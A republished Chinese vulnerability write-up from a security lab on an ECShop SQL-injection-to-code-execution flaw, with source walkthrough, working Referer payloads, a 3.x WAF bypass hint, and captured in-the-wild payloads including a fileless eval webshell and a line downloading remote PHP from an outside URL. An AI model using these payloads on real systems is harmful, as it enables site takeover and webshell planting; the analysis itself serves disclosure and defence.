ECShop 0day 的堕落之路

作者: Badcode@知道创宇404实验室 时间: 2018/09/04

背 景

ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。2018年6月13日,知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”防御拦截并捕获到一个针对某著名区块链交易所网站的攻击,通过分析,发现攻击者利用的正式ECShop 2.x版本的0day漏洞攻击。于2018年6月14日,提交到知道创宇Seebug漏洞平台并收录。

随后于2018年8月31日,ID为“ringk3y”研究人员在其博客公开这个漏洞,并做了详细分析,该分析收录在Seebug Paper。

知道创宇404积极防御团队于2018年9月2日正式对外发布《ECShop全系列版本的远程代码执行漏洞》预警。

从2018年的6月13日首次拦截后,知道创宇404实验室多个团队对这个利用ECShop 0day攻击事件进行持续的监控分析,从下文的分析结果可以看出一个0day漏洞在实际攻击中的各个阶段的“堕落”过程。

漏洞分析

该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。

值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响ECShop 3.x,这个是因为在3.x的版本里有引入防注入攻击的安全代码,通过我们分析发现该防御代码完全可以绕过实现对ECShop 3.x的攻击(详见下文分析)。

注:以下代码分析基于ECShop 2.7.3

  • SQL 注入漏洞

首先看到ecshop/user.php

elseif ($action == 'login'){ if (empty($back_act)) { if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER'])) { $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER']; } else { $back_act = 'user.php'; } } $captcha = intval($_CFG['captcha']); if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0) { $GLOBALS['smarty']->assign('enabled_captcha', 1); $GLOBALS['smarty']->assign('rand', mt_rand()); } $smarty->assign('back_act', $back_act); $smarty->display('user_passport.dwt');}

可以看到$back_act是从HTTP_REFERER获取到的,HTTP_REFERER是外部可控的,这也是万恶的根源。

接着将back_act变量传递给assign函数,跟进ecshop/includes/cls_template.php

/** * 注册变量 * * @access public * @param mix $tpl_var * @param mix $value * * @return void */ function assign($tpl_var, $value = '') { if (is_array($tpl_var)) { foreach ($tpl_var AS $key => $val) { if ($key != '') { $this->_var[$key] = $val; } } } else { if ($tpl_var != '') { $this->_var[$tpl_var] = $value; } } }

可以从注释了解这个函数的功能,是注册模板变量,也就是$back_act变成了$this->_var[$back_act]=$back_act,而后调用display函数

function display($filename, $cache_id = '') { $this->_seterror++; error_reporting(E_ALL ^ E_NOTICE); $this->_checkfile = false; $out = $this->fetch($filename, $cache_id); if (strpos($out, $this->_echash) !== false) { $k = explode($this->_echash, $out); foreach ($k AS $key => $val) { if (($key % 2) == 1) { $k[$key] = $this->insert_mod($val); } } $out = implode('', $k); } error_reporting($this->_errorlevel); $this->_seterror--; echo $out; }

从user.php调用display函数,传递进来的$filename是user_passport.dwt,从函数来看,首先会调用$this->fetch来处理user_passport.dwt模板文件,fetch函数中会调用$this->make_compiled来编译模板。user_passport.dwt其中一段如下:

<td>&nbsp;</td> <td align="left"> <input type="hidden" name="act" value="act_login" /> <input type="hidden" name="back_act" value="{$back_act}" /> <input type="submit" name="submit" value="" class="us_Submit" /> </td>

make_compiled会将模板中的变量解析,也就是在这个时候将上面assign中注册到的变量$back_act传递进去了,解析完变量之后返回到display函数中。此时$out是解析变量后的html内容,判断$this->_echash是否在$out中,若在,使用$this->_echash来分割内容,得到$k然后交给insert_mod处理。

由于_echash是默认的,不是随机生成的,所以$val内容可随意控制。跟进$this->insert_mod

function insert_mod($name) // 处理动态内容 { list($fun, $para) = explode('|', $name); $para = unserialize($para); $fun = 'insert_' . $fun; return $fun($para); }

$val传递进来,先用|分割,得到$fun和$para,$para进行反序列操作,$fun和insert_拼接,最后动态调用$fun($para),函数名部分可控,参数完全可控。接下来就是寻找以insert_开头的可利用的函数了,在ecshop/includes/lib_insert.php有一个insert_ads函数,正好满足要求。看下insert_ads

/** * 调用指定的广告位的广告 * * @access public * @param integer $id 广告位ID * @param integer $num 广告数量 * @return string */function insert_ads($arr){ static $static_res = NULL; $time = gmtime(); if (!empty($arr['num']) && $arr['num'] != 1) { $sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' . 'p.ad_height, p.position_style, RAND() AS rnd ' . 'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '. 'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' . "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ". "AND a.position_id = '" . $arr['id'] . "' " . 'ORDER BY rnd LIMIT ' . $arr['num']; $res = $GLOBALS['db']->GetAll($sql); }...... $ads = array(); $position_style = ''; foreach ($res AS $row) { if ($row['position_id'] != $arr['id']) { continue; } $position_style = $row['position_style']; switch ($row['media_type']) {...... } $position_style = 'str:' . $position_style; $need_cache = $GLOBALS['smarty']->caching; $GLOBALS['smarty']->caching = false; $GLOBALS['smarty']->assign('ads', $ads); $val = $GLOBALS['smarty']->fetch($position_style); $GLOBALS['smarty']->caching = $need_cache; return $val;}

$arr是可控的,并且会拼接到SQL语句中,这就造成了SQL注入漏洞。

根据上面的流程,可以构造出如下形式的payload

echash+fun|serialize(array("num"=>sqlpayload,"id"=>1))

实际可利用payload

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

  • 代码执行

继续看insert_ads函数

$position_style = ''; foreach ($res AS $row) { if ($row['position_id'] != $arr['id']) { continue; } $position_style = $row['position_style']; switch ($row['media_type']) {...... $position_style = 'str:' . $position_style; $need_cache = $GLOBALS['smarty']->caching; $GLOBALS['smarty']->caching = false; $GLOBALS['smarty']->assign('ads', $ads); $val = $GLOBALS['smarty']->fetch($position_style); $GLOBALS['smarty']->caching = $need_cache; return $val;

可以看到在SQL查询结束之后会调用模板类的fetch方法,在user.php中调用display,然后调用fetch的时候传入的参数是user_passport.dwt,而在此处传入的参数是$position_style,向上溯源,发现是$row['position_style']赋值而来,也就是SQL语句查询的结果,结果上面这个SQL注入漏洞,SQL查询的结果可控,也就是$position_style可控。

要到$position_style = $row['position_style'];还有一个条件,就是$row['position_id']要等于$arr['id'],查询结果可控,arr['id']同样可控。

之后$position_style会拼接'str:'传入fetch函数,跟进fetch

/** * 处理模板文件 * * @access public * @param string $filename * @param sting $cache_id * * @return sring */ function fetch($filename, $cache_id = '') { if (!$this->_seterror) { error_reporting(E_ALL ^ E_NOTICE); } $this->_seterror++; if (strncmp($filename,'str:', 4) == 0) { $out = $this->_eval($this->fetch_str(substr($filename, 4))); } else { ......

因为之前拼接'str:'了,所以strncmp($filename,'str:', 4) == 0为真,然后会调用危险函数$this->_eval,这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str方法的处理,跟进

/** * 处理字符串函数 * * @access public * @param string $source * * @return sring */ function fetch_str($source) { if (!defined('ECS_ADMIN')) { $source = $this->smarty_prefilter_preCompile($source); } $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source); if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match)) { $sp_match[1] = array_unique($sp_match[1]); for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source); } for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source); } } return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source); }

第一个正则会匹配一些关键字,然后置空,主要看下最后一个正则

return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);

这个正则是将捕获到的值交于$this-select()函数处理。例如,$source的值是xxx{$abc}xxx,正则捕获到的group 1 就是$abc,然后就会调用$this-select("$abc")。

跟进select函数

/** * 处理{}标签 * * @access public * @param string $tag * * @return sring */ function select($tag) { $tag = stripslashes(trim($tag)); if (empty($tag)) { return '{}'; } elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分 { return ''; } elseif ($tag{0} == '$') // 变量 {// if(strpos($tag,"'") || strpos($tag,"]"))// {// return '';// } return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>'; } ......

当传入的变量的第一个字符是$,会返回由 php 标签包含变量的字符串,最终返回到_eval()危险函数内,执行。在返回之前,还调用了$this->get_var处理,跟进get_var

/** * 处理smarty标签中的变量标签 * * @access public * @param string $val * * @return bool */ function get_val($val) { if (strrpos($val, '[') !== false) { $val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val); } if (strrpos($val, '|') !== false) { $moddb = explode('|', $val); $val = array_shift($moddb); } if (empty($val)) { return ''; } if (strpos($val, '.$') !== false) { $all = explode('.$', $val); foreach ($all AS $key => $val) { $all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']'; } $p = implode('', $all); } else { $p = $this->make_var($val); }

当传入的变量没有.$时,调用$this->make_var,跟进make_var

/** * 处理去掉$的字符串 * * @access public * @param string $val * * @return bool */ function make_var($val) { if (strrpos($val, '.') === false) { if (isset($this->_var[$val]) && isset($this->_patchstack[$val])) { $val = $this->_patchstack[$val]; } $p = '$this->_var[\'' . $val . '\']'; } else { .....

在这里结合select函数里面的语句来看,<?php echo $this->_var[' $val '];?>,要成功执行代码的话,$val必须要把['闭合,所以payload构造,从下往上构造,$val为abc'];echo phpinfo();//;从select函数进入get_var的条件是第一个字符是$,所以payload变成了$abc'];echo phpinfo();//;而要进入到select,需要被捕获,payload变成了{$abc'];echo phpinfo();//},这里因为payload的是phpinfo(),这里会被fetch_str函数的第一个正则匹配到,需要变换一下,所以payload变为{$abc'];echo phpinfo/**/();//},到这里为止,php 恶意代码就构造完成了。

接下来就是把构造好的代码通过SQL注入漏洞传给$position_style。 这里可以用union select 来控制查询的结果,根据之前的流程,$row['position_id']和$arr['id']要相等,$row['position_id']是第二列的结果,$position_style是第九列的结果。$arr['id']传入' /*,$arr['num']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -,0x27202f2a是' /*的16进制值,也就是$row['position_id']的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d是上面构造的php代码的16进制值,也就是$position_style。

结合之前的SQL漏洞的payload构造,所以最终的payload的是

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

可以看到成功的执行了phpinfo()。

  • ECShop 3.x 绕过

上述的测试环境都是2.7.3的,理论上打2.x都没问题,而在3.x上是不行的,原因是3.x自带了个WAF(ecshop/includes/safety.php),对所有传入的参数都做了检测,按照上面构造的 payload ,union select 会触发SQL注入的检测规则,有兴趣的可以去绕绕,我没绕过。。

下面的测试版本为ECshop3.0,3.x版本的echash是45ea207d7a2b68c49582d2d22adf953a。 上面说了 insert_ads 函数存在注入,并且有两个可控点,$arr['id']和$arr['num'],可以将union select通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用/**/注释掉,这样就不会触发WAF。

实际攻击分析

上文提到该漏洞最早由知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”在2018年6月13日拦截并捕获,随后针对这个漏洞的攻击情况做了详细的监控及跟进:

第一阶:0day在野之“APT攻击” (2018年6月13日)

首次捕获到 2.x 的 payload 是被用来攻击某区块链交易所网站,因此我们高度怀疑攻击者是用 0day 来攻击区块链交易所的 apt团队。样本中 payload 通过HTTP 请求头的Referer字段植入,如下

把捕获的 payload 转码出来看

Referer: http://www.noxxx.com/554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:2:"id";s:3:"'/*";s:3:"num";S:216:"*/UNION select 1,0x272f2a,3,4,5,6,7,8,0x7b2461275d3b617373657274286261736536345f6465636f64652827514556575155776f596d467a5a5459305832526c5932396b5a53676b58314250553152624a303576654364644b536b372729293b24615b27317d,10#";}554fcae493e564ee0dc75bdf2ebf94ca

恶意代码

{$a'];assert(base64_decode('QEVWQUwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ05veCddKSk7'));$a['1}

base64部分的内容是

@EVAL(base64_decode($_POST['Nox']));

可以看到,没有写入 webshell,而是直接接收$_POST['Nox']参数,进行base64解码后直接传入eval函数执行代码,相当于一个无文件的 webshell ,非常隐蔽。

本次攻击是由一个日本ip(35.200.*.*)发起,通过攻击的手法及使用的paylaod等情况来看,并直接了当地用来攻击某著名区块链交易所,我们高度怀疑是目的性非常明确的“APT攻击”。

第二阶:0day在野之“黑产攻击” (2018年8月)

在随后整个7月都没有出现利用该漏洞攻击的记录直到8月初,在整个8月拦截捕获该0day漏洞攻击记录10余次,攻击者使用的 payload 都相同,且都是一个菲律宾IP(180.191.*.*)发起的攻击。如下:

554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:3:"num";s:314:"/<SP>union<SP>select<SP>1,0x272f2a,3,4,5,6,7,8,0x7B247B24686F6D65275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4575634768774A79786D6157786C5832646C6446396A623235305A5735306379676E6148523063446F764C33566C5A5335745A53394E636B706A4A796B704F773D3D2729293B2F2F7D7D,10--<SP>-";s:2:"id";s:3:"'/";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca

// file_put_contents('1.php',file_get_contents('http://uee.me/MrJc'));和这篇分析文章里捕获到的样本一致。

从整个8月拦截的10余次攻击目标,payload等手法来看,我们认为极有可能该0day漏洞已经被流入到“高端黑产”团队,并进行了批量自动化攻击。

第三阶:0day曝光之“疯狂攻击” (2018年8月31日后)

在2018年8月31日漏洞细节被公开之后,攻击数量开始增加,捕获到的 payload 也变的多种多样,漏洞被广泛利用。

从这些人使用的攻击目标、手法及payload(攻击使用的payload仍然只适用于2.x版本,目前为止没有看到使用针对3.x payload攻击)等情况来看,考虑大量的“低端黑产”玩家开始加入进来,继续“疯狂”的抓鸡行动,榨干这个漏洞的最后一滴“油水”...

漏洞影响范围及修复

根据ZoomEye网络空间搜索引擎对ECShop关键字的搜索结果,共找到42400 条历史记录。

漏洞修复

目前我们分析下载最新版的ECShop 4.0里对这个漏洞进行修复:

看到ecshop4/ecshop/includes/lib_insert.php

可以看到,将传递进来的$arr[id]和$arr[num]强制转换成整型,这样就没法利用这个漏洞了。

另外我们注意到官方并没有发布针对老版本的(2.x和3.x)的独立修复补丁,相关老版本的用户可参考ECShop 4.0代码来修复或者直接升级到ECShop 4.0。

小 结

本次ECShop这个漏洞挖掘到漏洞利用非常有技术含量,可以算是一个经典的“二次漏洞”案例,从一个SQL注入漏洞最后完美实现转变为代码执行漏洞。另外从这个漏洞在野外实际利用的过程,也非常的“经典”,完美重现了一个0day漏洞被挖掘利用转变为“武器”后的完美历程:从被用来目标明确的“定向攻击”,再到“黑产”高端玩家,直到最后在曝光后沦为黑产“抓鸡”工具的“堕落” ...

感谢我们404实验室各团队小伙伴的努力~~ 我爱你们~~

?

参 考 链 接

[1] ecshop2.x代码执行

http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/ [2] ECShop全系列版本远程代码执行高危漏洞分析

https://xz.aliyun.com/t/2689 [3] ecshop 2.7.3 代码执行漏洞

https://www.seebug.org/vuldb/ssvid-97343 [4] ZoomEye 搜索结果

https://www.zoomeye.org/searchResult?q=ecshop [5] 安全预警| ECShop全系列版本远程代码执行高危漏洞 创宇盾无需升级即可防御

https://www.yunaq.com/news/5b8ca434796db41371c1cf45/

[6] 二次漏洞

https://wenku.baidu.com/view/ff7cea6f6529647d26285259.html

原文发布于微信公众号 - Seebug漏洞平台(seebug_org)

原文发表时间:2018-09-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏zhisheng

机器常见需要关注的监控指标

做运维,不怕出问题,怕的是出了问题,抓不到现场,两眼摸黑。所以,依靠强大的监控系统,收集尽可能多的指标,意义重大。但哪些指标才是有意义的呢,本着从实践中来的思想...

1531
来自专栏FreeBuf

藏匿在邮件里的“坏小子”

不知从什么时候开始,我的垃圾邮件开始暴增,而且主题千奇百怪,有“再也不用去澳门赌博”、“免保人、免抵押”…等推广主题;有“南北方压岁钱差距有多大?”、“爱过才知...

1488
来自专栏腾讯云数据库团队的专栏

Elasticsearch查询解析

       Elasticsearch(ES)可用于全文检索、日志分析、指标分析、APM等众多场景,而且搭建部署容易,后期弹性扩容、故障处理简单。ES在一定程...

8014
来自专栏代码GG之家

google 进入分屏后在横屏模式按home键界面错乱( 四)

google 进入分屏后在横屏模式按home键界面错乱( 四) 你确定你了解分屏的整个流程? ? 代码阅读,请到此处http://androidxref.com...

2198
来自专栏腾讯云数据库团队的专栏

Greenplum 简单性能测试与分析

通过TPC-H基准测试,可获得数据库单位时间内的性能处理能力,为评估数据库系统的现有性能服务水平提供有效依据。

1.1K12
来自专栏何俊林

使用TensorFlow进行训练识别视频图像中物体

本教程针对Windows10实现谷歌公布的TensorFlow Object Detection API视频物体识别系统,其他平台也可借鉴。

4092
来自专栏腾讯安全应急响应中心

短网址安全浅谈

何谓短网址(Short URL)?顾名思义,就是形式上比较短的网址,当前主要是借助短网址来替代原先冗长的网址,方便传输和分享。短网址服务也就是将长网址转换为短网...

3050
来自专栏Android干货园

Reading:一款不错的Material Desgin风格的Kotlin版本的开源APP

版权声明:本文为博主原创文章,转载请标明出处。 https://blog.csdn.net/lyhhj/article/details/81...

1183
来自专栏Elasticsearch实验室

Elasticsearch查询解析

       Elasticsearch(ES)可用于全文检索、日志分析、指标分析、APM等众多场景,而且搭建部署容易,后期弹性扩容、故障处理简单。ES在一定程...

2898
来自专栏安恒信息

LOCKY勒索者新花样:通过PDF投递

摘 要 最近安恒APT团队截获一个新版的LOCKY勒索者病毒样本,区别之前大多数样本采用WORD文档投递并用宏代码远程下载执行的方式,该样本在原有的WORD文档...

2876

扫码关注云+社区